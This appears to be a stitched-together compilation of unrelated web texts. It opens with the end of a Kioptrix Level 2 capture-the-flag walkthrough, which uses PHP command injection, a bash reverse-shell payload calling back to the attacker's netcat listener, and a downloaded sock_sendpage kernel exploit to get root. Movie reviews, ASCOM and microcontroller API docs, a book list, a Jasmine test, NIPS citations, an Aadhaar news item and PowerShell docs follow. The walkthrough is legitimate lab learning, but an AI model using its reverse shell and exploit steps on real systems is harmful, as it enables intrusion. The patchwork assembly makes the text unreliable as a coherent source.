echo shell_exec( 'ping -c 3 ' . $target );
echo '
'; } ?>
Okay, let’s setup a reverse shell so we don’t have to use the webpage for every command!
Run a listening netcat on the kali box:
kali@kali:~$ nc -lvp 80
Use this input in the “administrative web console”:
; bash -i >& /dev/tcp/<IP_ADDRESS>/80 0>&1
Enjoy your shell on the kali box !
bash-3.00$ cat /etc/redhat-release
CentOS release 4.5 (Final)
bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
From Apache to root
After a bit of looking around, I couldn’t find any other way to escalate my privileges to root without using a kernel exploit. In general, you want to avoid those, as they are not super stable and tend to crash the target. which is okay on a CTF, less okay IRL…
Anyway, here goes the nuclear option: looking for kernel exploits on exploit-db:
kali@kali:~$ searchsploit Linux 2.6
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation | exploits/linux/local/9545.c
Great, a local privilege escalation, sounds perfect. Let’s download the source code on the target:
bash-3.00$ wget https://www.exploit-db.com/raw/9545
--15:33:54-- https://www.exploit-db.com/raw/9545
=> `9545'
Resolving www.exploit-db.com... <IP_ADDRESS>
Connecting to www.exploit-db.com|<IP_ADDRESS>|:443... connected.
OpenSSL: error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version
Unable to establish SSL connection.
Ah. A wget
or curl
directly from exploit-db will not work… That box is very old :‘D
No problemo, I’ll just encode the exploit into base64 and paste it on the box!
bash-3.00$ cat 9545.b64 | base64 -d > 9545.c
bash: base64: command not found
bash: [13447: 4] tcsetattr: Invalid argument
Okay, no base64… Let’s look for something else then…
WHAT KIND OF BOX HAS PYTHON BUT NOT BASE64.
Okay, nevermind, let’s do that the other way. Start a web server on the kali, download the exploit there and expose it:
kali@kali:~$ cd /tmp
kali@kali:/tmp$ get https://www.exploit-db.com/raw/9545
kali@kali:/tmp$ python -m SimpleHTTPServer 80
Then use wget on the target to download the exploit from our fresh web server:
bash-3.00$ cd /tmp
bash-3.00$ wget <IP_ADDRESS>/9545
--18:12:24-- http://<IP_ADDRESS>/9545
=> `9545'
Connecting to <IP_ADDRESS>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,087 (5.9K) [application/octet-stream]
0K ..... 100% 8.90 MB/s
18:12:24 (8.90 MB/s) - `9545' saved [6087/6087]
Wuhuuu, we’ve finally managed to transfer the exploit on the box. Next is compilation:
bash-3.00$ gcc 9545.c -o 9545
Then run the fresh-from-the-oven binary:
bash-3.00$ ./9545
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
Well, I’m impressed. A kernel exploit that works on the first try without crashing the box?! :o
Takeaways:
- Try your command injection with commands that don’t require privileges
- Running a web server on the kali box can be a solution to exchange files with the target.
There it is gentlepeople, see you around for the next kioptrix box!
Links
- Very good cheat sheet on command injection, check out the rest of the repo also, it’s a gold mine
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- Another cheat sheet on reverse shell: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


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September
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Sun.
Mon.
Tue.
Wed.
Thu.
Fri.
Sat.


"Unbreakable"
David Dunn (Bruce Willis) is on a commuter train heading home for Philadelphia after a none-too-successful security job interview in New York City. He flirts with and is rejected by a pretty young woman and sinks into his own doldrums. Just before arriving in Philly, the train goes out of control, jumps the track and all 131 passengers and crew are killed - except for David, who survives the wreck with nary a scratch. A mysterious, handicapped man, Elijah Price (Samuel L. Jackson), who tells David that he is a very special person, a man who may be invincible, soon approaches him. The bemused David begins to delve into his apparent indestructibility and makes some shocking discoveries in director/writer M. Night Shyamalan's "Unbreakable."
Helmer Shyamalan faces a tough battle with his follow up to the incredibly successful sophomore effort, "The Sixth Sense." (That film was the second largest grossing film in 1999, overshadowed only by "The Phantom Menace.") The director/writer wasted no time in creating a new mystery thriller that invites the viewer to pay close attention to the details of the story while still delivering a finale with a revelation that shocks. But, please, don't expect the stunning, unexpected ending of "The Sixth Sense." Shyamalan's follow on film effectively avoids a slump by weaving a different mystical tale.
David has survived the horrors of the train wreck with absolutely no damage to his body, but his mind is another thing. There is a part of David that he has never come to grips with and it has impacted his life in negative ways, including a failing marriage to Audrey (Robin Wright Pen). His only ray of hope is his son, Joseph (Spencer Treat Clark), who idolizes his dad. One day soon after the crash, David finds a note on his car that asks the question, "How many days have you been sick?" There is nothing else except for a company logo on the card. Dunn tracks down the company to find a very strange individual as the owner.
Elijah has suffered a lifelong affliction, osteogenesis imperfecta; a debilitating disease that makes his bones as frail as twigs. He has lived a careful, reclusive life and still suffered 54 breaks of his bones since he was a child. Elijah became, as a boy, with his mother's (Charlayne Woodard) help, an aficionado of action comic books and has delved into duality inherent in the hero/villain themes of the genre. He built a business based on the art of his beloved comic books and became obsessed with finding his dual, his opposite, in life. Elijah's thinking is that there must be someone to counter his own breakability. Is David the man he seeks?
Other heinous disasters have also taken place, recently, besides David's train wreck. Of the three life-snuffing accidents, David is the only one to survive - without a mark on him. Elijah makes David think back over his life and those things that may have harmed him. As Dunn digs into his past, he finds that events did not really play as they seemed and that his childhood "injuries" never happened. His is, truly, unbreakable. The question now becomes, what is David's purpose on Earth? The fragile Elijah, whose bones quite literally can break like glass, shows David that he has the ability to "see" wrongdoers and their deeds. This newfound "sight" gives David the chance to save a couple of children from a brutal death, proving to his son that he is a hero. Is he Elijah's comic book hero?
I won't talk anymore about the story so I don't give anything away. This is a mystery story and the viewer should be allowed the chance to figure it out. The good news is, though not as shocking a work as "The Sixth Sense," "Unbreakable" is an intelligent, well-executed mystical tale. Prepare yourself for rampant symbolism (and, unfortunately, at least one, extended product placement that I found annoying). The two-sides-of-the-same-coin relationship between David and Elijah also has elements of student and master. David is the bewildered, invulnerable hero figure to Elijah's flawed, but brilliant, advisor. But, yes, there is more. The comic book art as a binding device is interesting, especially for action comic fans, but it left me cold. I think an understanding of the graphic novel art form, as the director obviously has, will make you appreciate the film's intent a little more.
Technically, "Unbreakable" is solid. Photography by Eduardo Serra is key to the look of the film, capturing the moody, off-kilter, otherworldliness that Shyamalan strives to create. Production designer Larry Fulton, who did such subtle work on "The Sixth Sense," gets a chance at a more stylized locale in the world of Elijah Price. The starkly contrasted chrome-and-glass look combines beautifully with the costuming, from another Shyamalan collaborator, Joanna Johnston. (See Laura's review at www.reelingreviews.com/unbreakable.htm for a unique perspective on the film's costume/makeup.) The film carries a vaguely sinister look throughout that helps keep the story intact.
Screenwriter Shyamalan needs to get out more. His script is intelligent, yes, but also self-indulgent. He is having fun with the mystery, the look and the colors of the film and the film abounds with little in-jokes that the observant viewer will see and enjoy. He is an honest writer that does not go for the cheap shot to titillate the audience. I would like to see the helmer work with other filmmakers and spread his creative wings more.
Unfortunately for the actors, this is a story-intensive flick that requires the filmgoer to pay attention to the plot threads. As such, the thespians are required to live within their characters rather than develop them. Willis is conflicted as David Dunn and works hard to understand his real gift, though there is little emotion allowed to bubble through - except in one scene where Joseph tests David's new-found and incredible body strength. Samuel L. Jackson always brings his all, but, even he is overshadowed by the Gumby-hairdo and slick costume of Elijah. Clark does fine as the incredulous son, Joseph. He and Willis play well with each other, though the boy is not a Haley Joel Osment. Robin Wright Penn, as David's troubled wife Audrey, does well in the tough role of understanding wife.
"Unbreakable" should have a ready-made audience and do well at the box-office as the only "serious" film out right now. It will draw an after life on video and DVD for the fans who want to pick it apart and look for all the little nuances in the story. Enjoy the show. I give it a B.
For more Reeling reviews visit www.reelingreviews.com
<EMAIL_ADDRESS><EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: post title: no title date: '2016-11-29T22:30:19+01:00' categories: - Sketches picture_url: https://film-Storyboards.tumblr.com/post/153848376858 ---


Kyle Plancich
Designer | Developer
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I am always looking for design work. If you have a job or need some help, send me an email.
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<EMAIL_ADDRESS>https://instagram.com/diseno_kp
@kyleandsuzy


Interface ISwitch
Defines the capabilities supported by an ASCOM Alpaca Switch device
Inherited Members
Namespace: ES.Ascom.Alpaca.Devices
Assembly: ES.Ascom.Alpaca.Shared.dll
Syntax
public interface ISwitch : IDevice
Methods
| Improve this Doc View SourceCanWrite(Int32)
Reports if the specified switch device can be written to, default true. This is false if the device cannot be written to, for example a limit switch or a sensor. Devices are numbered from 0 to MaxSwitch - 1
Declaration
bool CanWrite(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.Boolean |
GetMaxSwitch()
Returns the number of switch devices managed by this driver. Devices are numbered from 0 to MaxSwitch - 1
Declaration
int GetMaxSwitch()
Returns
| Type | Description |
|---|---|
| System.Int32 |
GetMaxSwitchValue(Int32)
Gets the maximum value of the specified switch device as a double. Devices are numbered from 0 to MaxSwitch - 1.
Declaration
double GetMaxSwitchValue(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.Double |
GetMinSwitchValue(Int32)
Gets the minimum value of the specified switch device as a double. Devices are numbered from 0 to MaxSwitch - 1.
Declaration
double GetMinSwitchValue(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.Double |
GetSwitch(Int32)
Return the state of switch device id as a boolean. Devices are numbered from 0 to MaxSwitch - 1
Declaration
bool GetSwitch(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.Boolean |
GetSwitchDescription(Int32)
Gets the description of the specified switch device. This is to allow a fuller description of the device to be returned, for example for a tool tip. Devices are numbered from 0 to MaxSwitch - 1
Declaration
string GetSwitchDescription(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.String |
GetSwitchName(Int32)
Gets the name of the specified switch device. Devices are numbered from 0 to MaxSwitch - 1
Declaration
string GetSwitchName(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.String |
GetSwitchStep(Int32)
Returns the step size that this device supports (the difference between successive values of the device). Devices are numbered from 0 to MaxSwitch - 1.
Declaration
double GetSwitchStep(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.Double |
GetSwitchValue(Int32)
Gets the value of the specified switch device as a double. Devices are numbered from 0 to MaxSwitch - 1, The value of this switch is expected to be between MinSwitchValue and MaxSwitchValue.
Declaration
double GetSwitchValue(int id)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
Returns
| Type | Description |
|---|---|
| System.Double |
SetSwitch(Int32, Boolean)
Sets a switch controller device to the specified state, true or false.
Declaration
void SetSwitch(int id, bool state)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
| System.Boolean | state | The required control state (True or False) |
SetSwitchName(Int32, String)
Sets a switch device name to the specified value.
Declaration
void SetSwitchName(int id, string name)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
| System.String | name | The name of the device |
SetSwitchValue(Int32, Double)
Sets a switch device value to the specified value.
Declaration
void SetSwitchValue(int id, double value)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | id | The device number (0 to MaxSwitch - 1) |
| System.Double | value | The value to be set, between MinSwitchValue and MaxSwitchValue |


| How to Watch a Movie |
David Thomson |
2015 |
Film |
Film, Hobby, How To, Popular Culture |
| Great Film Directors |
Andy Tuohu with Matt Glasby |
2015 |
Film |
Film, Hobby, Popular Culture, Index |
| Conversations at the American Film Institute with the Great Moviemakers: The Next Generation |
George Stevens, Jr. |
2012 |
Film |
Film, Hobby, Popular Culture, History |
| Movies (and other things): A Collection of Questions Asked, Answered, Illustrated |
Shea Serrano |
2019 |
Film |
Film, Hobby, Popular Culture |
| The Richest Man in Babylon |
George S. Clason |
1955 |
Money |
Money, Personal Finances, Personal Growth, Wealth |
| The Young and the Digital: What the Migration to Social-Network Sites, Games, and Anytime, Anywhere Media Means for Our Future |
S. Craig Watkins |
2009 |
Technology |
Technology, Society, People, Statistics |
| Mastery |
Robert Greene |
2012 |
Biography/History |
Biography, Personal Growth, History, How To, Index |
| The 80/20 Principle: The Secret to Success by Achieving More with Less |
Richard Koch |
1998 |
Pareto Principal |
People, Personal Growth, Business, How To, Statistics |
| The Power of Habit: Why We Do What We Do in Life and Business |
Charles Duhigg |
2014 |
Habit |
Habit, People, Personal Growth, How To |
| How to Win Friends and Influence People |
Dale Carnegie |
1981 |
People Skills |
People Skills, People, Personal Growth, How To, Habit |
| The Gendered Society |
Michael S. Kimmel |
2008 |
Gender |
Gender, Society, People, Statistics |
| Dune (Book 1) |
Frank Herbert |
1965 |
Dystopia |
Dystopia, Literature, Fiction, Science Fiction, Adventure, Society, People |
| 1984 |
George Orwell |
1977 |
Dystopia |
Dystopia, Literature, Fiction, Government, People, Society |
| Narcissus and Goldmund |
Hermann Hesse |
1968 |
Philosophy |
Philosophy, Fiction, Literature, People, Society, Personal Growth, Religion |
| Nikon D3300 For Dummies |
Julie Adair King |
-- |
Nikon D3300 Camera |
Photography, How To, Hobby, Index |
| HTML & CSS: Design and Build Websites |
Jon Duckett |
2011 |
HTML & CSS |
Web Design, Technology, How To, Index, Hobby |
| JavaScript & jQuery: Interactive Front-End Web Development |
Jon Duckett |
2014 |
JavaScript & jQuery |
Web Design, Technology, How To, Index, Hobby |
| HTML & XHTML: The Definitive Guide |
Chuck Musciano & Bill Kennedy |
2007 |
HTML & XHTML |
Web Design, Technology, How To, Index, Hobby |
| CSS: The Definitive Guide |
Eric A. Meyer |
2007 |
CSS |
Web Design, Technology, How To, Index, Hobby |
| JavaScript: A Beginner's Guide |
John Pollock |
2010 |
JavaScript |
Web Design, Technology, How To, Index, Hobby |


| First Name | Last Name | Username | Username | Username | Username | |
|---|---|---|---|---|---|---|
| Mark | Otto | @mdo | Mark | Otto | @mdo | |
| Jacob | Thornton | @fat | Jacob | Thornton | @fat | |
| Larry | the Bird | Larry | the Bird | |||
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| Larry | the Bird | Larry | the Bird | |||
| Larry | the Bird | Larry | the Bird | |||
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| Larry | the Bird | Larry | the Bird | |||
| Larry | the Bird | Larry | the Bird | |||
| Larry | the Bird | Larry | the Bird | |||
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| Larry | the Bird | Larry | the Bird |


THE LAST DAYS OF DISCO Directed by Whit Stillman A younger friend recently told me how jealous he was of the people who were in college in the early 1980s: "All those great clubs, all that great music," he gushed. Yeah, I thought, and spiraling inflation, student-loan cutbacks and the promise of an unfriendly job market when you got out of school. Happy times, those. "The Last Days of Disco," set, according to its opening title in "the very early 1980s," brings back the P.M. (Pre-Madonna) era in disturbing detail, recalling the romantic glitziness of the disco years as well as the sleazy drugginess that ultimately defined and destroyed the party. But rather than focusing on disco's demise, writer-director Whit Stillman merely uses it as a backdrop for a group portrait of a handful of young New Yorkers fresh out of college and anxious for adventure and love. Because this is Stillman ("Barcelona," "Metropolitan") they spend much of their time discussing what they want to do rather than actually doing it, but their intelligent, often hilarious conversation turns out to be such a refreshing change from the usual summer movie dialogue (which generally runs the gamut from "What do you want from me?" to "Run!") you'll probably be content to let them ramble on and on. The centerpieces of the ensemble are Charlotte (Kate Beckinsale) and Alice (Chloe Sevigny, looking like a young and streetwise Meryl Streep), former classmates who now work together as underpaid underlings in a publishing house and spend their nights in The Club, a Studio 54-style disco. Charlotte is the more forthright, brassy one, always offering such unsolicited advice as "whenever you can, try to throw the word 'sexy' into your conversations." The slightly more demure Alice not only tolerates her slightly overbearing friend but seems to enjoy her company, at least that is until Charlotte blurts out in front of Alice's date about the bottle of tetracycline on Alice's dresser, then tries to smooth things over by telling Alice that sometimes veneral disease "is not all bad, there are actually positive aspects."  Alice falls fo Josh anyway, prompting Charlotte to snipe, "From the start, you know he's defective: You usually don't find that out until much later." The performances by the entire ensemble are delightful, with Beckinsale and Keeslar particularly impressive. Of course, it helps that they get most of the sharpest lines. Josh's lengthy analysis of Disney's "Lady and the Tramp" as the type of movie that "programs women to adore jerks" is genuinely brilliant. Stillman also provides a hard-to-resist soundtrack pulsating with such seductive oldies as Evelyn "Champagne" King's "I Don't Know If It's Right" and Diana Ross' sizzling "I'm Coming Out" : Do you think she had any idea what she was singing about back in 1980?. A-
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


UNIVERSITY OF ALABAMA ACM will offer a refund to students through a written email request to<EMAIL_ADDRESS>containing the following information:
Note that this refund is only available for students who have not yet collected the t-shirt for the given semester for which he/she paid dues.


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|
MINI55_BSP V3.02.004
The Board Support Package for Mini55 Series MCU
|
MINI55 Device Specific Peripheral registers structures
| #define ACMP_CTL_ACMPEN_Msk (0x1ul << ACMP_CTL_ACMPEN_Pos) |
ACMP_T::CTL: ACMPEN Mask
Definition at line 262 of file Mini55Series.h.
| #define ACMP_CTL_ACMPEN_Pos (0) |
@addtogroup ACMP_CONST ACMP Bit Field Definition Constant Definitions for ACMP Controller
ACMP_T::CTL: ACMPEN Position
Definition at line 261 of file Mini55Series.h.
| #define ACMP_CTL_ACMPIE_Msk (0x1ul << ACMP_CTL_ACMPIE_Pos) |
ACMP_T::CTL: ACMPIE Mask
Definition at line 265 of file Mini55Series.h.
| #define ACMP_CTL_ACMPIE_Pos (1) |
ACMP_T::CTL: ACMPIE Position
Definition at line 264 of file Mini55Series.h.
| #define ACMP_CTL_FTRGEN_Msk (0x1ul << ACMP_CTL_FTRGEN_Pos) |
ACMP_T::CTL: FTRGEN Mask
Definition at line 277 of file Mini55Series.h.
| #define ACMP_CTL_FTRGEN_Pos (9) |
ACMP_T::CTL: FTRGEN Position
Definition at line 276 of file Mini55Series.h.
| #define ACMP_CTL_HYSSEL_Msk (0x3ul << ACMP_CTL_HYSSEL_Pos) |
ACMP_T::CTL: HYSSEL Mask
Definition at line 268 of file Mini55Series.h.
| #define ACMP_CTL_HYSSEL_Pos (2) |
ACMP_T::CTL: HYSSEL Position
Definition at line 267 of file Mini55Series.h.
| #define ACMP_CTL_NEGSEL_Msk (0x1ul << ACMP_CTL_NEGSEL_Pos) |
ACMP_T::CTL: NEGSEL Mask
Definition at line 271 of file Mini55Series.h.
| #define ACMP_CTL_NEGSEL_Pos (4) |
ACMP_T::CTL: NEGSEL Position
Definition at line 270 of file Mini55Series.h.
| #define ACMP_CTL_POSSEL_Msk (0x3ul << ACMP_CTL_POSSEL_Pos) |
ACMP_T::CTL: POSSEL Mask
Definition at line 283 of file Mini55Series.h.
| #define ACMP_CTL_POSSEL_Pos (29) |
ACMP_T::CTL: POSSEL Position
Definition at line 282 of file Mini55Series.h.
| #define ACMP_CTL_RTRGEN_Msk (0x1ul << ACMP_CTL_RTRGEN_Pos) |
ACMP_T::CTL: RTRGEN Mask
Definition at line 274 of file Mini55Series.h.
| #define ACMP_CTL_RTRGEN_Pos (8) |
ACMP_T::CTL: RTRGEN Position
Definition at line 273 of file Mini55Series.h.
| #define ACMP_CTL_SMPTSEL_Msk (0x1ul << ACMP_CTL_SMPTSEL_Pos) |
ACMP_T::CTL: SMPTSEL Mask
Definition at line 280 of file Mini55Series.h.
| #define ACMP_CTL_SMPTSEL_Pos (12) |
ACMP_T::CTL: SMPTSEL Position
Definition at line 279 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPIF0_Msk (0x1ul << ACMP_STATUS_ACMPIF0_Pos) |
ACMP_T::STATUS: ACMPIF0 Mask
Definition at line 286 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPIF0_Pos (0) |
ACMP_T::STATUS: ACMPIF0 Position
Definition at line 285 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPIF1_Msk (0x1ul << ACMP_STATUS_ACMPIF1_Pos) |
ACMP_T::STATUS: ACMPIF1 Mask
Definition at line 289 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPIF1_Pos (1) |
ACMP_T::STATUS: ACMPIF1 Position
Definition at line 288 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPO0_Msk (0x1ul << ACMP_STATUS_ACMPO0_Pos) |
ACMP_T::STATUS: ACMPO0 Mask
Definition at line 292 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPO0_Pos (2) |
ACMP_T::STATUS: ACMPO0 Position
Definition at line 291 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPO1_Msk (0x1ul << ACMP_STATUS_ACMPO1_Pos) |
ACMP_T::STATUS: ACMPO1 Mask
Definition at line 295 of file Mini55Series.h.
| #define ACMP_STATUS_ACMPO1_Pos (3) |
ACMP_T::STATUS: ACMPO1 Position
Definition at line 294 of file Mini55Series.h.
| #define ACMP_VREF_CRVCTL_Msk (0xful << ACMP_VREF_CRVCTL_Pos) |
ACMP_T::VREF: CRVCTL Mask
Definition at line 298 of file Mini55Series.h.
| #define ACMP_VREF_CRVCTL_Pos (0) |
ACMP_T::VREF: CRVCTL Position
Definition at line 297 of file Mini55Series.h.
| #define ACMP_VREF_IREFSEL_Msk (0x1ul << ACMP_VREF_IREFSEL_Pos) |
ACMP_T::VREF: IREFSEL Mask
Definition at line 301 of file Mini55Series.h.
| #define ACMP_VREF_IREFSEL_Pos (7) |
ACMP_T::VREF: IREFSEL Position
Definition at line 300 of file Mini55Series.h.


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Whether you’re a fan of the snooze button or you hop out of bed and hit the ground jogging, make sure a bottle of Frost is a morning starter to get you through your day.
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describe('Test Library', function () { // a test suite
// a test case
it('initializes the testing platform', function () {
expect(true).toBe(true); // an expectation with a matcher
});
});
Yey! I thought he would never shut up!
http://sportsbook.sports1.stable-alpha.dev.betfair/sandbox?toggles=jasmine&test=testcore,testlibrary
Q: Load modules with predictable data?
A: Use the mock server!
Setting up the mock environment
Managing complexity
Let's close some racing markets!
Let's see the code behind it and do a code review!


nips nips2001 nips2001-147 nips2001-147-reference knowledge-graph by maker-knowledge-mining
Source: pdf
Author: Koby Crammer, Yoram Singer
Abstract: We discuss the problem of ranking instances. In our framework each instance is associated with a rank or a rating, which is an integer from 1 to k. Our goal is to find a rank-prediction rule that assigns each instance a rank which is as close as possible to the instance's true rank. We describe a simple and efficient online algorithm, analyze its performance in the mistake bound model, and prove its correctness. We describe two sets of experiments, with synthetic data and with the EachMovie dataset for collaborative filtering. In the experiments we performed, our algorithm outperforms online algorithms for regression and classification applied to ranking. 1
[1] William W. Cohen, Robert E. Schapire, and Yoram Singer. Learning to order things. Journal of Artificial Int elligence Research, 10:243- 270 , 1999.
[2] K. Crammer and Y. Singer. Ultraconservative online algorithms for multiclass problems. Proc. of the Fourteenth Annual ConI on Computational Learning Theory, 200l.
[3] Y. Freund, R. Iyer, R. E. Schapire, and Y. Singer. An efficient boosting algorithm for combining preferences. Machine Learning: Proc. of the Fifteenth Inti. ConI, 1998.
[4] Y. Freund and R. E. Schapire. Large margin classification using the perceptron algorithm. Machine Learning, 37(3): 277-296, 1999.
[5] R. Herbrich, T. Graepel, and K. Obermayer. Large margin rank boundaries for ordinal regression. Advances in Large Margin Classifiers. MIT Press, 2000.
[6] J. Kemeny and J . Snell. Mathematical Models in the Social Sciences. MIT Press, 1962.
[7] Paul McJones. EachMovie collaborative filtering data set. DEC Systems Research Center, 1997. http://www.research.digital.com/SRC/eachmoviej.
[8] Vladimir N. Vapnik. Statistical Learning Theory. Wiley, 1998.
[9] Bernard Widrow and Marcian E. Hoff. Adaptive switching circuits. 1960 IRE WESCON Convention Record, 1960. Reprinted in Neurocomputing (MIT Press, 1988).


Govt eases norms for change of address on Aadhaar
The changes were made by amending the Prevention of Moneylaundering (Maintenance of Records) Rules, as per a gazette notification issued on November 13.
by PTIThe government has allowed migrants to change address on Aadhaar by giving self declaration, a move aimed at helping them open bank account and promote financial inclusion.
The changes were made by amending the Prevention of Money-laundering (Maintenance of Records) Rules, as per a gazette notification issued on November 13.
It allows a person with Aadhaar number for identification wants to provide address different from what is available in the Central Identities Data Repository, he may give a self-declaration to that effect to the reporting entity, it said.
There was long standing demand to ease address change rule.
The decision will help migrant workers who have address of their native place in Aadhaar but wants a bank account with their current address where they are living for work.
People may have residential address in their Aadhaar and give work address as current address.
There are many cases where people may have their address in Aadhaar and want to give a more functional address for know your customer (KYC).Get access to India's fastest growing financial subscriptions service Moneycontrol Pro for as little as Rs 599 for first year. Use the code "GETPRO". Moneycontrol Pro offers you all the information you need for wealth creation including actionable investment ideas, independent research and insights & analysis For more information, check out the Moneycontrol website or mobile app.


THE RAINMAKER (1997)
A film review by Steve Kong Copyright 1997 Steve Kong
The Rainmaker is an utterly predictable film.  Being predictable is a small flaw that is easily overlooked because of it being a well-directed, well-acted, and fun movie.
Having come out of seeing the last courtroom drama, Red Corner, The Rainmaker comes as a surprise to how it handles the courtroom scenes. Which is to say the courtroom scenes are put at a minimum while the personal side of the lawyers is shown more. This easily takes away most of the cliched courtroom scenes (the surprise witness, the talking killer, etc) and introduces a warmth to a courtroom/legal system film.
Rudy Baylor (Matt Damon) is newly out of law school.  While in the firm he has two cases that he continues to pursue from a law workshop, the big one is what the film concentrates on, but the smaller one is not overlooked either.
The enemy in The Rainmaker is an insurance company. Rudy's first big case is for a young man with leukemia fighting against the big insurance company. On the side he has a smaller case of writing a will for an elderly lady. And while at a hospital trying to field clients he meets and inevitably falls in love with a married and abused woman (Claire Daines). All these plot lines work well together during the film, and each touch the other in one way or another. As the cops and a Federal probe gets closer and closer to Rudy's dirty boss Bruiser, Rudy and Deck (Danny DeVito) take a wad of cash that Bruiser gives them and they start up their own law firm. What is nice is that the courtroom scenes are not "played up" for drama. Ford Coppola actually lets the two, Rudy and Deck, act nervous in court, and this puts a good down-to-earth spin to the courtroom scenes.
There is an added touch of comic relief that is added to The Rainmaker this makes the movie so much better than the average courtroom drama. The Rainmaker is not a comedy in any sense, but Ford Coppola is able to insert these small moments to get a laugh out of the audience.
There are some pretty big names in this film and they go from small parts to big parts. There are three big name stars in The Rainmaker that I loved the best. The first is a major role and that is Danny DeVito as Deck, the legal assistant to Rudy. Deck has tried the bar exam six times, but has yet to pass. Though at times it seems that Deck knows more than Rudy, who has passed the bar. DeVito gives a great performance in The Rainmaker. The second big name performance that I loved was that of Danny Glover as the judge Tyrone Kipler. Though Glover's part is small, he does a wonderful job with it, and he is just a joy to see on the screen again (I last saw him in Switchback). Last but not least is Jon Voight as the high paid scummy lead lawyer serving for the insurance company. Voight who I last saw overacting in the horrible Most Wanted, redeems himself here in The Rainmaker. His performance as the lead lawyer, Leo F. Drummond, is brilliant, and you can just seem the slim dripping off of him.
But, the real star of The Rainmaker is Matt Damon as Rudy. Damon gives a wonderful performance as Rudy and as the film is setup he has a lot of performing to do. His part is the center of the film, and the film is basically a character study of his character. Damon does wonderfully in his part, and I hope to see him in more films soon.
The music by Elmer Bernstein is strange, but it most definitely fits the movie in most places. It changes moods constantly and consistently with the action on the screen, but for me the score sometimes sounded out of place.
After seeing a slew of bad films this fall, I'm happy to say that The Rainmaker is great movie. It is highly entertaining and though somewhat flawed it shouldn't be missed because it is well-directed, well-acted, and just plain fun. Don't Miss this film.
!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=! steve kong<EMAIL_ADDRESS>find the latest movie reviews at the hard boiled movie page http://boiled.sbay.org/boiled/ !=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


C++: view bit pattern
I was working on a hardware project, and I needed to be able to send a lot of data with only 12 bytes. Therefore when I needed to puzzle some bytes together, I opened up an online c++ compiler and got to testing quickly.
In C++ you can import a library called bitset
. It is useful when you want to print out your bitpattern and see the result when you are shifting bits. Here is an example:
This will output:


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Copies DSC resources.
Copy-DscResource [-Path] <String> [-Destination] <String> [-Recurse] [-PassThru] [-Force] [<CommonParameters>]
This function copies a DSC resource or a directory of DSC resources to a DSC pull server share/website. All files under $Path
are copied.
DSC requires all files have a checksum file (e.g. localhost.mof.checksum
), which this function generates for you (in a temporary location).
Only new files, or files whose checksums have changed, are copied. You can force all files to be copied with the Force
switch.
Copy-DscResource
is new in Carbon 2.0.
| Name | Type | Description | Required? | Pipeline Input | Default Value |
|---|---|---|---|---|---|
